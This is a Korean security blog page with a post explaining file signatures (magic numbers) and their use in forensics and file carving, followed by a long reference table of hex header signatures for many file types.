'분석' 카테고리의 다른 글
악성코드 분석에 도움이 될만한 사이트 정리 (0) | 2013.01.30 |
---|---|
NGR Rootkit (0) | 2012.06.15 |
네이트온에서 당함 악성 파일에 대한 분석보고서 (0) | 2011.08.05 |
권한 설정에 대한 명령어(cmd) (0) | 2011.08.05 |
<BAT의 유용성 과 보안적인 측면에서의 관계>-칼럼 (0) | 2011.07.29 |
악성코드 분석에 도움이 될만한 사이트 정리 (0) | 2013.01.30 |
---|---|
NGR Rootkit (0) | 2012.06.15 |
네이트온에서 당함 악성 파일에 대한 분석보고서 (0) | 2011.08.05 |
권한 설정에 대한 명령어(cmd) (0) | 2011.08.05 |
<BAT의 유용성 과 보안적인 측면에서의 관계>-칼럼 (0) | 2011.07.29 |
http://labs.bitdefender.com/2012/04/xpaj-the-bootkit-edition/
망할 ngr!!!!안보이잖아!!! 왜 바로 코드가 보여!!ㅠㅠ (0) | 2012.06.21 |
---|---|
A look at object confusion vulnerability (CVE-2012-0779) in Adobe Flash (0) | 2012.05.15 |
파일 시그니처 모음 (Common File Signatures) (0) | 2012.04.05 |
js 언팩킹 풀어보기!~ (0) | 2012.02.09 |
Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit (2) | 2012.02.09 |
파일은 파일 자체로는 의미가 없다. 파일이 담고 있는 데이터를 유용하게 사용하기 위해서는 관련된 소프트웨어가 필요하다. 이러한 소프트웨어들은 각각 자신만의 고유한 파일 포맷을 만들어 사용한다. 따라서 어떤 파일을 읽을 수 있다면(혹은 실행할 수 있다면) 해당 파일 포맷을 해석할 수 있다는 의미이다. (텍스트 파일 제외)
그림 파일(JPEG, PNG, TIFF, GIF 등) 또한 파일 포맷 별로 고유한 포맷을 가지고 있다. 알씨와 같은 그래픽 뷰어 소프트웨어를 통해 해당 파일을 볼 수 있는 이유는 알씨 소프트웨어에서 각 그림 파일 포맷을 해석할 수 있도록 프로그래밍되어 있기 때문이다.
이처럼 파일들은 각각 고유한 포맷을 가지고 있는데 포맷의 기본이 되는 내용이 파일 시그니처(File Signature)이다. 파일 시그니처는 파일의 가장 처음에 위치하는 특정 바이트들도 파일 포맷을 구분하기 위해 사용한다. 예를 들어, JPEG 파일은 다음과 같이 “FF D8 FF E0″의 시그니처를 갖는다. JPEG의 경우 디지털카메라로 캡쳐한 파일과 구분하기 위해 “FF D8 FF E1″ 시그니처도 사용한다.
파일 시그니처는 파일의 처음에만 존재하는 파일 포맷도 있지만 파일의 마지막에도 존재하는 포맷도 있다. 파일의 처음에 존재하는 시그니처는 보통 헤더(Header) 시그니처, 파일의 마지막에 존재하는 시그니처는 푸터(Footer or Tailer) 시그니처라고 부른다. 그리고 문서에 따라 시그니처를 매직 넘버(magic number) 라고 사용하는 경우도 있다.
파일 시그니처는 파일 포맷 분석, 악성코드 분석, 파일 복구 등에 중요하게 작용한다. 현재 파일 카빙(File Carving) 도구를 개발하고 있는데 파일 카빙 도구에서 파일 시그니처는 파일을 복구하기 위해 없어서는 안될 요소이다.
다음은 다양한 파일들을 대상으로 파일 헤더 시그니처를 조사한 내용이다. 찾고자 하는 시그니처가 있는 경우 ‘Ctrl + F’를 이용해 확장자 검색을 하기 바랍니다. 혹시 빠진 시그니처가 있다면 답글로 남겨주시기 바랍니다.
Header Signature (Hex) | File Type | Description |
xx xx xx xx AF 11 | FLI | Graphics – Autodesk Animator |
xx xx xx xx AF 12 | FLC | Graphics - Autodesk 3D Studio |
xx xx 2D 6C 68 35 2D - 1 h 5 - | LZH | Archive – LHA Compressed Archive File |
00 | PIF PIC YTR | Windows – Program Information File Graphics – IBM Storyboard Bitmap File IRIS OCR Data File |
00 00 00 02 | MAC | Graphics – MAC Picture Format |
00 00 00 nn 66 74 79 70 f t y p 33 67 70 3 g p | 3GG 3G2 | 3rd Generation Partnership Project 3GPP (nn=0×14) 3GPP2 (nn=0×20) Multimedia File |
00 00 00 18 66 74 79 70 f t y p 33 67 70 35 3 g p 5 | MP4
| MPEG-4 Video File
|
00 00 01 00 | ICO | Graphics – Windows Icon Format |
00 00 01 Bx | MPG | MPEG Video File |
00 00 02 00 | CUR WB2 | Graphics – Windows Cursor File Spreadsheet – QuattroPro |
00 00 02 00 04 04 | WKS | Spreadsheet – Lotus 1-2-3 |
00 00 02 00 05 04 | WRK | Spreadsheet – Symphony |
00 00 02 00 06 04 | WK1 WR1 | Spreadsheet – Lotus 1-2-3 Spreadsheet – Symphony |
00 00 1A 00 00 10 | WK3 | Spreadsheet – Lotus 1-2-3 |
00 00 1A 00 02 10 | WK4 | Spreadsheet – Lotus 1-2-3 |
00 00 49 49 58 50 52 I I X P R | QXD | Quark Express Document (dependant endian) Note: It appears that the byte following the 0×52 (“R”) is the languate indicator; 0×33(“3″) seems to indicate English and 0×61(“a”) reportedly indicates Korean |
00 00 49 49 58 50 52 M M X P R | QXD | Quark Express Document (dependant endian) Note: It appears that the byte following the 0×52 (“R”) is the languate indicator; 0×33(“3″) seems to indicate English and 0×61(“a”) reportedly indicates Korean |
00 00 EF FF | Byte-order mark for 32-bit Unicode Transformation Format | |
00 01 00 00 4D 53 49 53 M S I S 41 4D 20 44 61 74 61 74 A M D a t a b 61 62 61 73 65 a s e | MNY
| Microsoft Money File
|
00 01 00 00 53 74 61 72 S t a n 64 61 72 64 20 4A 65 74 d a r d J e t 20 44 42 D B | MDB
| Database – Microsoft Access File
|
00 01 00 08 | IMG | Graphics - GEM Image Format |
00 01 01 | FLT | Graphics – OpenFlight 3D File |
00 01 42 41 B A | ABA | Palm Address Book Archive File |
00 01 42 44 B D | DBA | Palm DataBook Archive File |
00 06 15 61 00 00 00 02 00 00 04 D2 00 00 10 00 | DB | Database – Netscape Navigator (v4) |
01 11 AF | FLI | Graphics – FLIC Animation File |
00 1E 84 90 00 00 00 00 | SNM | Netscape Communicator (v4) Mail Folder |
00 5C 41 B1 FF | ENC | Mujahideen Secrets 2 Encrypted File |
00 6E 1E F0 (offset : 512 bytes) | PPT | PowerPoint Presentation SubHeader |
01 00 00 00
| EMF PIC | Extended(Enhanced) Windows Metafile Format Printer Spool File (0×18-17 & 0xC4-36 : Win2K/NT, 0x5C0-1 : WinXP) Spreadsheet Graph – Lotus 1-2-3 |
01 10 | TR1 | Novell LANalyzer Capture File |
01 DA 01 01 00 03 | RGB | Graphics – Silicon Graphics RGB Bitmap File |
01 FF 02 04 03 02 | DRW | Graphics – Micrografx Vector Graphics File |
02 64 73 73 d s s | DSS | Graphics – Digital Speech Standard (Olympus, Grundig & Phillips) |
02 | DBF | Database – dBASE II |
03 | DBF DAT | Database – dBASE III Database – dBASE IV MapInfo Native Data Format |
03 00 00 00 | QPH | Quicken Price Histroy File |
03 00 00 00 41 50 50 52 A P P R | ADX | Approach Index File |
04 | DB4 | Database – dBASE IV Data File |
07 | DRW | A common signature may drawing programs |
07 64 74 32 64 64 74 64 d t 2 d d t d | DTD | DesignTools 2D Design File |
08 | DB | Database – dBASE IV Database – dBFast Configuration File |
09 00 04 00 07 00 01 00 | XLW | Spreadsheet – Excel BIFF2 |
09 02 06 00 00 00 01 00 | XLW | Spreadsheet – Excel BIFF3 |
09 03 06 00 00 04 00 01 | XLW | Spreadsheet – Excel BIFF4 |
0A nn 01 01 | PCX | Graphics – ZSOFT Paintbrush (nn = 0×02, 0×03, 0×05) |
0C ED | MP | Graphics – Monochrome Picture TIFF Bitmap File |
0D 44 4F 43 D O C | DOC | DeskMate Document File |
0E 57 4B 53 W K S | WKS | DeskMate Worksheet |
0F 00 E8 03 (offset : 512 bytes) | PPT | PowerPoint Presentation SubHeader (MS Office) |
11 00 00 00 53 43 43 41 S C C A | PF | Windows Prefetch File |
1A 00 00 | NTF | Database – Lotus Notes Template File |
1A 00 00 04 00 00 | NSF | Database - Lotus Notes File |
1A 0x | ARC | Archive – LH Achive File, Old Version (x = 0×02, 0×03, 0×04, 0×08, 0×09) |
1A 0B | PAK | Archive – PAK Archive File |
1A 35 01 00 5 | ETH | GN Nettest WinPharoah Capture File |
1A 52 54 53 20 43 4F 4D R T S C O M 50 52 45 53 53 45 44 20 P R E S S E D 49 4D 41 47 45 20 56 31 I M A G E V 1 2E 30 1A . 0 | DAT
| Graphics – Runtime Software Disk Image File
|
1D 7D | WS | WordStar Version 5.0/6.0 Document File |
1F 8B 08 | GZ | Archive – GZIP Archive File |
1F 9D 90 | TAR.Z | Archive – Tape Archive File |
21 12 ! | AIN | Archive - AIN Archive File |
21 3C 61 72 63 68 3E 0A ! < a r c h > | LIB | Archive – Unix Archiver(ar) Files Microsoft Program Library Common Object File Format (COFF) |
21 42 44 4E ! B D N | PST | Microsoft Outlook File |
23 20 # | MSI | Cerius2 File |
23 20 4D 69 63 72 6F 73 # M i c r o s 6F 66 74 20 44 65 76 65 o f t D e v e 6C 6F 70 65 72 20 53 74 l o p e r S t 75 64 69 6F u d i o | DSP
| Microsoft Developer Studio Project File
|
23 21 41 4D 52 # ! A M R | AMR | Adaptive Multi-Rate ACELP Codec Format |
24 46 4C 32 40 28 23 29 $ F L 2 @ ( # ) 20 53 50 53 53 20 44 41 S P S S D A 54 41 20 46 49 4C 45 T A F I L E | SAV
| SPSS Data File
|
25 21 50 53 2D 41 64 6F % ! P S - A d o 62 65 2D b e - | EPS
| Adobe Encapsulated PostScript File
|
25 50 44 46 % P D F | PDF FDF | Adobe Portable Document Format File Forms Document File |
28 54 68 69 73 20 66 69 ( T h i s f i 6C 65 20 6D 75 73 74 20 l e m u s t 62 65 20 63 6F 6E 76 65 b e c o n v e 72 74 65 64 20 77 69 74 r t e d w i t 68 20 42 69 6E 48 65 78 h B i n H e x 20 | HQX | Archive - Macintosh BinHex 4 Archive |
2A 2A 2A 20 20 49 6E 73 * * * I n s 74 61 6C 6C 61 74 69 6F t a l l a t i o 6E 20 53 74 61 72 74 65 n S t a r t e 64 20 d | LOG
| Symantec Wise Installer Log File
|
2D 6C 68 - l h (offset : 2 bytes) | LHA, LZH | Archive – Compressed Archive File |
2E 52 45 43 R E C | IVR | RealPlayer Video File (v11 and later) |
2E 72 61 FD 00 r a | RA | RealMedia Streaming Media File |
2E 52 4D 46 . R M F | RM | Real Media File |
2E 73 6E 64 . s n d | AU | Sound – NeXt/Sun Audio Format |
30 0 | CAT | Microsoft Security Catalog File |
30 00 00 00 4C 66 4C 65 0 L f L e | EVT | Windows Event Viewer File |
30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C | ASF, WMA, WMV | Microsoft Windows Media Audio/Video File (Advanced Streaming Format) |
30 31 4F 52 44 4E 41 4E 0 1 O R D N A N 43 45 20 53 55 52 56 45 C E S U R V E 59 20 20 20 20 20 20 20 Y | NTF
| National Transfer Format Map File
|
31 BE 00 00 00 AB | DOC | Word processor – MS Word 4 |
3n BE 00 00 00 AB | WRI | Word processor – MS Write (n = 0×1, 0×2) |
34 12 | PIC | Graphics – PC Paint |
37 7A BC AF 27 1C | 7Z | Archive – 7-Zip Archive File |
38 42 50 53 8 B P S | PSD | Graphics – Adobe Photoshop File |
3A DE 68 B1 | DCX | Graphics – CAS Fax Format |
3C | ASX | Advanced Stream Redirector File |
3C | XDR | BizTalk XML-Data Reduced Schema File |
3C 21 64 6F 63 74 79 70 < ! d o c t y p | DCI | AOL HTML Mail File |
3C 3F 78 6D 6C 20 76 65 < ? x m l v e 72 73 69 6F 6E 3D r s i o n = | MANIFEST
| Windows Visual Stylesheet XML File
|
3C 3F 78 6D 6C 20 76 65 < ? x m l v e 72 73 69 6F 6E 3D 22 31 r s i o n = “ 1 2E 30 22 3F 3E . 0 “ ? > | XUL
| XML User Interface Language File
|
3C 3F 78 6D 6C 20 76 65 < ? x m l v e 72 73 69 6F 6E 3D 22 31 r s i o n = “ 1 2E 30 22 3F 3E 0D 0A 3C . 0 “ ? > < 4D 4D 43 5F 43 6F 6E 73 M M C _ C o n s 6F 6C 65 46 69 6C 65 20 o l e F i l e 43 6F 6E 73 6F 6C 65 56 C o n s o l e V 65 72 73 69 6F 6E 3D 22 e r s i o n = “ | MSC
| Microsoft Management Console Snap-in Control File |
3E 00 03 00 FE FF 09 00 06 (offset : 24 bytes) | WB3 | Quatro Pro for Windows 7.0 Notebook File |
3F 5F 03 00 ? _ | GID | Windows Help Index File |
3F 5F 03 00 ? _ | HLP | Windows Help File |
41 48 A H | PAL, PIC | Graphics – Dr Halo Format |
41 4C 5A 01 A L Z | ALZ | Archive – ESTsoft Alzip Archive File |
40 40 40 20 00 00 40 40 @ @ @ @ @ 40 40 @ @ | ENL
| EndNote Library File
|
41 43 53 44 A C S D | Miscellaneous AOL Parameter and Information File | |
41 4D 59 4F A M Y O | SYW | Graphics – Hardvard Graphics Symbol Graphic |
41 4F 4C 20 46 65 65 64 A O L F e e d 62 61 67 b a g | BAG
| AOL and AIM Buddy List File
|
41 4F 4C 44 42 A O L D B | ABY, IDX | Database – AOL Database File (ABY, MAIN.IDX) |
41 4F 4C 49 44 58 A O L I D X | IND | AOL Client Preferences/Settings File (MAIN.IND) |
41 4F 4C 49 4E 44 45 58 A O L I N D E X | ABI | AOL Address Book Index File |
41 56 47 36 5F 49 6E 74 A V G 6 _ I n t 65 67 72 69 74 79 5F 44 e g r i t y _ D 61 74 61 62 61 73 65 a t a b a s e | DAT
| AVG6 Integrity Database File
|
41 56 49 20 4C 49 53 54 A V I L I S T | Audio/Video Interleaved File | |
41 4F 4C 56 4D 31 30 30 A O L V M 1 0 0 | AOL Personal File Cabinet (PFC) File | |
41 72 43 01 A r C | ARC | Archive - FreeArc Archive File |
42 45 47 49 4E 3A 56 43 B E G I N : V C 41 52 44 0D 0A A R D | VCF
| vCard File
|
42 4C 49 32 32 33 51 B L I 2 2 3 Q | BIN | Tomson Speedtouch Series WLAN Router Firmware File |
42 4D B M | BMP, DIB | Graphics – Windows Bitmap Format |
42 4F 4F 4B 4D 4F 42 49 B O O K M O B I | PRC | Palmpilot Resource File |
42 5A 68 B Z h | BZ2, TAR, TBZ2, TB2 | Archive – bzip2 Archive File |
43 42 46 49 4C 45 C B F I L E | CBD | WordPerfect Dictionary File |
43 44 30 30 31 C D 0 0 1 | ISO | ISO-9660 CD Disc Image |
43 4F 4D 2B C O M + | CLB | COM+ Catalog File |
43 52 45 47 C R E G | DAT | Windows 9x Registry Files |
43 52 55 53 48 20 76 C R U S H v | CRU | Archive - Crush Archive File |
43 54 4D 46 C T M F | CMF | Sound – Creative Music Format |
43 57 53 C W S | SWF | Shockwave Flash File (v5+) |
43 61 74 61 6C 6F 67 20 C a t a l o g 33 2E 30 30 00 3 . 0 0 | CTF
| Wherelslt Catalog File
|
43 6C 69 65 6E 74 20 55 C l i e n t U 72 6C 43 61 63 68 65 20 r l C a c h e 4D 4D 46 20 56 65 72 20 M M F V e r | DAT
| IE History DAT File
|
43 72 65 61 74 69 76 65 C r e a t i v e 20 56 6F 69 63 65 20 46 V o i c e F 69 6C 65 1A i l e | VOC
| Sound – Creative Voice Format
|
44 42 46 48 D B F H | DB | Palm Zire Photo Database |
44 4D 53 21 D M S ! | DMS | Archive - Amiga DiskMasher Archive File |
44 4F 53 D O S | ADF | Amiga Disk File |
44 61 6E 4D D a n M | MSP | Graphics – Windows Paint |
45 4E 54 52 59 56 43 44 E N T R Y V C D 02 00 00 01 02 00 18 58 X | VCD
| Video VCD (GNU VCDImager) File
|
45 54 46 53 53 41 56 45 E R F S S A V E 44 41 54 41 46 49 4C 45 D A T A F I L E | DAT
| Kroll EasyRecovery Saved Recovery State File
|
45 56 46 E V F | Enn (nn = number) | EnCase Evidence File |
45 59 45 53 E Y E S | CE1, CE2 | Graphics – ComputerEyes Format |
46 4F 52 4D F O R M | LBM | Graphics – Interchange File Format |
46 41 58 43 4F 56 F A X C O V 45 52 2D 56 45 52 E R - V E R | CPE
| Microsoft Fax Cover Sheet
|
46 45 44 46 F E D F | SBV | Unkown File Type |
46 4C 56 | SWF | Flash Video File |
46 4F 52 4D 00 | AIFF | Audio – Audio Interchange File |
46 57 53 F W S | SWF | Shockwave Flash File |
46 72 6F 6D 20 20 20 F H o m or 46 72 6F 6D 20 3F 3F 3F F H o m ? ? ? or 46 72 6F 6D 3A 20 F H o m : | EML
| A common File Extension for E-mail File
|
47 46 31 50 41 54 43 48 G F 1 P A T C H | PAT | Advanced Gravis Ultrasound Patch File |
47 49 46 38 37 61 G I F 8 7 a | GIF | Graphics – Graphics Interchange Format |
47 49 46 38 39 61 G I F 8 9 a | GIF | Graphics – Graphics Interchange Format |
47 50 41 54 G P A T | PAT | GIMP (GNU Image Manipulation Program) Pattern File |
47 58 32 G X 2 | GX2 | Graphics – Show Partner Graphics File |
48 48 47 42 31 H H G B 1 | SH3 | Harvard Graphics Presentation File |
49 49 2A I I * | TIF, TIFF | Graphics – Tagged Image File Format File (Little Endian) |
4D 4D 2A M M * | TIF, TIFF | Graphics – Tag Image File Format (Big Endian) |
49 42 4B 1A I B K | IBK | Sound – Soundblaster Instrument Bank |
49 44 33 I D 3 | MP3 | Sound – MPEG-1 Audio Layer 3 (MP3) Audio File |
49 4D 44 43 I M D C | IC1, IC2, IC3 | Graphics – Atari Imagic Film Format |
49 53 63 28 I S c ( | CAB | Archive - Install Shield (v5+) Archive File |
49 54 53 46 I T S F | CHM | Microsoft HTML Help Compiled File |
49 6E 6E 6F 20 53 65 74 I n n o S e t 75 70 20 55 6E 69 6E 73 u p U n i n s 74 61 6C 6C 20 4C 6F 67 t a l l L o g 20 28 62 29 ( b ) | DAT
| Inno Setup Uninstall Log File
|
4A 41 52 43 53 00 J A R C S | JAR | Archive - JARCS Archive File |
4A 47 0n 0E 00 00 00 | ART | AOL ART File (n = 0×3, 0×4) |
4C 00 00 00 L | LNK | Microsoft Windows Shortcut File |
4C 01 L | OBJ | Microsoft Common Object File Format (COFF) Relocatable Object Code File |
4C 4E 02 00 L N | HLP | Windows Help File |
4C 69 6E 53 L i n S | MSP | Graphics – Windows 3.x Paint |
4D 47 43 M G C | CRD | Database – Windows 3.x Card File |
4D 49 4C 45 53 M I L E S | MLS | Mailestones v1.0 Project Management and Scheduling Software (Also see “MV2C”, “MV214″) |
4D 4C 53 57 M L S W | MLS | Skype Localization Data File |
4D 4D 00 2A M M * | TIF, TIFF | Graphics – Big Tagged Image File Format (TIFF) (big endian) |
4D 4D 00 2B M M + | TIF, TIFF | Graphics – Big Tagged Image File Format (TIFF) File ( > 4GB) |
4D 4D 4D 44 00 00 M M M D | MMF | Yamaha Cynthetic Music Mobile Application Format (SMAF) |
4D 53 43 46 M S C F | CAB PPZ SNP | Microsoft Cabinet File Powerpoint Presentation Package Microsoft Access Snapshot Viewer File |
4D 53 46 54 02 00 01 00 M S F T | TLB | OLE, SPSS, Visual C++ Type Library File |
4D 53 5F 56 4F 49 43 45 M S _ V O I C E | CDR, DVF, MSV | Sound – Sony Compressed Voice File Sound – Sony Memory Stick Compressed Voice File |
4D 54 68 64 M T h d | MID, MIDI | Sound – Standard Musical Instrument Digital Interface (MIDI) Format |
4D 56 M V | DSN | CD Stomper Pro Label File |
4D 56 32 31 34 M V 2 1 4 | MLS | Milestones v2.1b Project Management and Scheduling Software (Also see “MILES”, “MV2C”) |
4D 56 32 43 M V 2 C | MLS | Milestones v2.1a Project Management and Scheduling Software (Also see “MILES”, “MV214″) |
4D 5A M Z | COM, DLL, DRV EXE, PIF, QTS QTX, SYS ACM, AX, CPL, FON, OCX, OLB, SCR, VBX, VXD | Windows/DOS Executable File MS Audio Compression Manage Driver Library Cache File Control Panel Application Font File ActiveX or OLE Custom Control OLE Object Library Screen Saver Visual Basic Application Windows Virtual Device Drivers |
4D 5A 90 00 03 00 00 00 M Z | API, AX, FLT | Acrobat Plug-in DirectShow Filter Adobe Audition Graphic Filter File |
4D 5A 90 00 03 00 00 00 M Z 04 00 00 00 FF FF | ZAP | ZoneAlam Data File |
4D 69 63 72 6F 73 6F 66 M i c r o s o f 74 20 56 69 73 75 61 6C t V i s u a l 20 53 74 75 64 69 6F 20 S t u d i o 53 6F 6C 75 74 69 6F 6E S o l u t i o n 20 46 69 6C 65 F i l e | SLN
| Visual Studio .NET Solution File
|
4D 69 63 72 6F 73 6F 66 M i c r o s o f 74 20 57 69 6E 64 6F 77 t W i n d o w 73 20 4D 65 64 69 61 20 s M e d i a 50 6C 61 79 65 72 20 2D P l a y e r - 2D 20 - (offset : 84 bytes) | WPL
| Windows Media Player Playlist
|
4E 41 56 54 52 41 46 46 N A V T R A F F 49 43 I C | DAT
| TomTom Traffice Data File
|
4E 45 53 4D 1A 01 N E S M | NFS | Sound – NES Sound File |
4E 49 54 46 30 N I T F 0 | NTF | National Imagery Transmission Format (NIFF) File |
4E 61 6D 65 3A 20 N a m e : | COD | Agent NewsReader Character Map File |
4F 50 4C 44 61 74 61 62 O P L D a t a b 61 73 65 46 69 6C 65 a s e F i l e | DBF
| Psion Series 3 Database File
|
4F 67 67 53 00 02 00 00 O g g s 00 00 00 00 00 00 | OGA, OGG, OGV, OGX | Ogg Vorbis Codec Compressed Multimedia File |
4F 7B O { | DW4 | Visio/DisplayWrite 4 Test File |
50 00 00 00 20 00 00 00 P | IDX | Quicken QuickFinder Information File |
50 35 0A P 5 | PGM | Graphics – Portable Graymap Graphic |
50 41 43 4B P A C K | PAK | Archive - Quake Archive File |
50 45 53 54 P E S T | DAT | PestPatrol Data/Scan Strings |
50 49 43 54 00 08 P I C T | IMG | Graphics – ADEX ChromaGraph Graphics Card Bitmap Graphics File |
50 4B 03 04 P K | ZIP, DOCX, PPTX, XLSX, JAR, SXC, SXD, SXI, SXW WMZ, XPI, XPT | Archive – Pkzip Archive File Microsoft Office Open XML Format Document Java Archive Package OpenOffice Spreadsheet, Drawing, Presentation Windows Media Compressed Skin File Mozila Browser Archive eXact Packager Models |
50 4B 03 04 14 00 06 00 P K | DOCX, PPTX, XLSX | Microsoft Office Open XML Format Document |
50 4B 03 04 14 00 08 00 P K | JAR | Java Archive |
50 4B 4C 49 54 45 P K L I T E (offset : 30 bytes) | ZIP | Archive - PKLITE ZIP Archive (see also PKZIP) |
50 4B 53 70 58 P K S F X (offset : 526 bytes) | ZIP | Archive – PKSFX Self-Extracting Executable Compressed File (see also PKZIP) |
50 4D 43 43 P M C C | GRP | Windows Program Manager Group File |
50 4E 43 49 55 4E 44 4F P N C I U N D | DAT | Noton Disk Doctor Undo File |
50 C3 | CLP | Windows 3.x Clipboard |
51 45 4C 20 Q E L (offset : 92 bytes) | QEL | Quicken Data File |
51 46 49 FB Q F I | IMG | QEMU Qcow Disk Image |
51 57 20 56 65 72 2E 20 Q W V e r | ABD, QSD | Quicken Data File |
52 41 5A 41 54 44 42 31 R A Z A T D B 1 | DAT | Shareaza (Windows P2P Client) Thumbnail |
52 45 47 45 44 49 54 R E G E D I T | REG, SUD | Windows NT Registry and Registry Undo Files |
52 45 56 4E 55 4D 3A 2C R E V N U M : , | ADF | Antenna Data File |
52 49 46 46 R I F F | ANI DAT DS4 | Windows Animated Cursof Video CD MPEG or MPEG1 Movie File Micrografx Designer v4 Graphic File |
52 49 46 46 xx xx xx xx R I F F 41 56 49 20 4C 49 53 54 A V I L I S T | AVI
| Resource Interchange File Format - Windows Audio Video Interleave File |
52 49 46 46 xx xx xx xx R I F F 43 44 44 41 66 6D 74 20 C D D A f m t | CDA
| Resource Interchange File Format - Compact Disc Digital Audio (CD-DA) File |
52 49 46 46 xx xx xx xx R I F F 51 4C 43 4D 66 6D 74 20 Q L C M f m t | QCP | Resource Interchange File Format - Qualcomm PureVoice |
52 49 46 46 xx xx xx xx R I F F 52 4D 49 44 64 61 74 61 R M I D d a t a | RMI
| Resource Interchange File Format - Windows Musical Instrument Digital Interface File |
52 49 46 46 xx xx xx xx R I F F 57 41 56 45 66 6D 74 20 W A V E f m t | WAV
| Resource Interchange File Format - Audio for Windows File |
52 54 53 53 R T S S | CAP | Windows NT Netmon Capture File |
52 61 72 21 1A 07 00 R a r ! | RAR | Archive – WinRAR Compressed Archive File |
53 42 49 1A S B I | SBI | Soundblaster Instrument Format |
53 43 48 6C S C H l | AST | Audio – Need for Speed : Undergraound Audio File |
53 43 4D 49 S C M I | IMG | Img Software Set Bitmap File |
53 48 4F 57 S H O W | SHW | Harvard Graphics DOC v2/x Presentation File |
53 49 45 54 52 4F 4F 49 S I E T R O N I 43 53 20 58 52 44 20 53 C S X R D S 43 41 4E C A N | CPI
| Sietronics CPI XRD Document File
|
53 49 54 21 00 S I T ! | SIT | Archive – Stufflt Compressed Archive File |
53 4D 41 52 54 44 52 57 S M A R T D R W | SDR | SmartDraw Drawing File |
53 51 4C 4F 43 4F 4E 56 S Q L O C O N V 48 44 00 00 31 2E 30 00 H D 1 . 0 | CNV
| DB2 Conversion File
|
53 6D 62 6C S m b l | SYM | Harvard Graphics v2.x Graphics Symbol Windows SDK Graphics Symbol |
53 74 75 66 66 49 74 20 S t u f f I t 28 63 29 31 39 39 37 2D ( c ) 1 9 9 7 - | SIT
| Archive – Stufflt Compressed Archive File
|
54 43 53 4F 00 04 00 00 00 00 T C S O (offset : 6 bytes) | SOL | Local Shared Object(LSO) File |
54 68 69 73 20 69 73 20 T h i s i s | INFO | UNIX GNU Info Reader File |
55 43 45 58 U C E X | UCE | Unicode Extensions |
55 46 41 C6 D2 C1 U F A | UFA | Archive – UFA Compressed Archive File |
55 46 4F 4F 72 62 69 74 U F O O r b i t | DAT | UFO Capture v2 Map File |
56 43 50 43 48 30 V C P C H 0 | PCH | Visual C PreCompiled Header File |
56 44 56 49 V D V I | AVS | Intel Digital Video Interface |
56 45 52 53 49 4F 4E 20 V E R S I O N | CTL | Visual Basic User-Defined Control File |
57 4D 4D 50 W M M P | DAT | Walkman MP3 Container File |
57 53 32 30 30 30 W S 2 0 0 0 | WS2 | WordStar for Windows v2 Document File |
57 69 6E 5A 69 70 W i n Z i p (offset : 29, 152 bytes) | ZIP | Archive – WinZip Compressed Archive File |
58 43 50 00 X C P | CAP | Cinco NetXRay, Network General Sniffer, and Network Associates Sniffer Capture File |
58 50 43 4F 4D 0A 54 79 X P C O M T y 70 65 4C 69 62 p e L i b | XPT
| XPCOM Type Libraries for The XPIDL Compiler
|
58 54 X T | BDR | MS Publisher Border |
59 A6 6A 95 | RAS | SUN Raster Format |
5A 4F 4F 20 Z O O | ZOO | Archive – ZOO Compressed Archive File |
5B 47 65 6E 65 72 61 6C [ G e n e r a l 5D 0D 0A 44 69 73 70 6C ] D i s p l 61 79 20 4E 61 6D 65 3D a y N a m e = 3C 44 69 73 70 6C 61 79 < D i s p l a y 4E 61 6D 65 N a m e | ECF
| Microsoft Exchange 2007 Extended Configuration File |
5B 4D 53 56 43 [ M S V C | VCW | Microsoft Visual C++ Workbench Information File |
5B 50 68 6F 6E 65 5D [ P h o n e ] | DUN | Dial-Up Networking File |
5B 56 45 52 5D 0D 0A 09 [ V E R ] | SAM | AMU Pro Document |
5B 76 65 72 0D 0A 09 [ v e r ] | SAM | AMU Pro Document |
5B 56 65 72 73 69 6F 6E [ V e r s i o n ] (offset : 2 bytes) | CIF | Unknown File Type |
5B 57 69 6E 64 6F 77 73 [ W i n d o w s 20 4C 61 74 69 6E 20 L a t i n | CPX
| Microsoft Code Page Translation File
|
5B 66 6C 74 73 69 6D 2E [ f l t s i m 30 5D 0 ] | CFG
| Flight Simulator Aircraft Configuration File
|
5F 43 41 53 45 5F _ C A S E _ | CAS, CBK | EnCase v3 Case File EnCase v4, 5, 6 use OLE 2 Container File |
60 EA | ARJ | Archive – ARJ Compressed Archive File |
62 65 67 69 6E b e g i n | UUencoded File | |
63 75 73 68 00 00 00 02 c u s h 00 00 00 | CSH | Photoshop Custom Shape |
64 00 00 00 d | P10 | Intel PROset/Wireless Profile |
64 73 77 66 69 6C 65 d s w f i l e | DSW | Microsoft Visual Studio Workspace File |
66 4C 61 43 00 00 00 22 f L a C “ | FLAC | Free Lossless Audio Codec File |
6C 33 33 6C l 3 3 l | DBB | Skype User Data File |
6D 6F 6F 76 m o o v or (offset : 4 bytes) 66 72 65 65 f r e e or (offset : 4 bytes) 6D 64 61 74 m d a t or (offset : 4 bytes) 77 69 64 65 w i d e or (offset : 4 bytes) | MOV
| Apple QuickTime Movie File
|
72 65 67 66 r e g f | DAT | Windows Registry Hive File |
72 74 73 70 3A 2F 2F r t s p : / / | RAM | RealMedia Metafile |
73 6C 68 21 s l h ! or 73 6C 68 2E s l h . | DAT
| Allegro Generic Packfile Data File (0×21 = Compressed, 0x2E = Uncompressed ) |
73 72 63 64 6F 63 69 64 s r c d o c i d 3A : | CAL
| Graphics - CALS Raster Bitmap File
|
73 7A 65 7A s z e z | PDB | PowerBASIC Debugger Symbols File |
74 42 4D 50 4B 6E 57 72 t B M P K n W r (offset : 60 bytes) | PRC | PathWay Map File (used GPS devices) |
75 73 74 61 72 u s t a r (offset : 257 bytes) | TAR | Archive – Tape Archive File |
76 32 30 30 33 2E 31 30 v 2 0 0 3 . 1 0 0D 0A 30 0D 0A 0 | FLT
| Qimage Filter
|
78 x | DMG | Mac OS X Disk Copy Disk Image File |
7A 62 65 78 z b e x | INFO | ZoomBowser Image Index File (ZbThumbnal.info) |
7B 0D 0A 6F 20 { o | LGC, LGD | Windows Application Log File |
7B | DBF | Database - dBASE IV |
7B 5C 72 74 66 31 { r t f 1 | RTF | Word processor – Rich Text Format |
7E 42 4B 00 ~ B K | PSP | Graphics – Corel Paint Shop Pro Image File |
7F 45 4C 46 E L F | Linux/Unix – Executable and Linking Format | |
80 | OBJ | Relocatable Object Code |
80 00 00 20 03 12 04 | ADX | Dreamcase Audio File |
81 CD AB | WPF | Word processor – WordPerfect Test File |
83 | DBF | Database – dBASE III |
83 | DBF | Database – dBASE IV |
83 | DBF | Database – FoxPro |
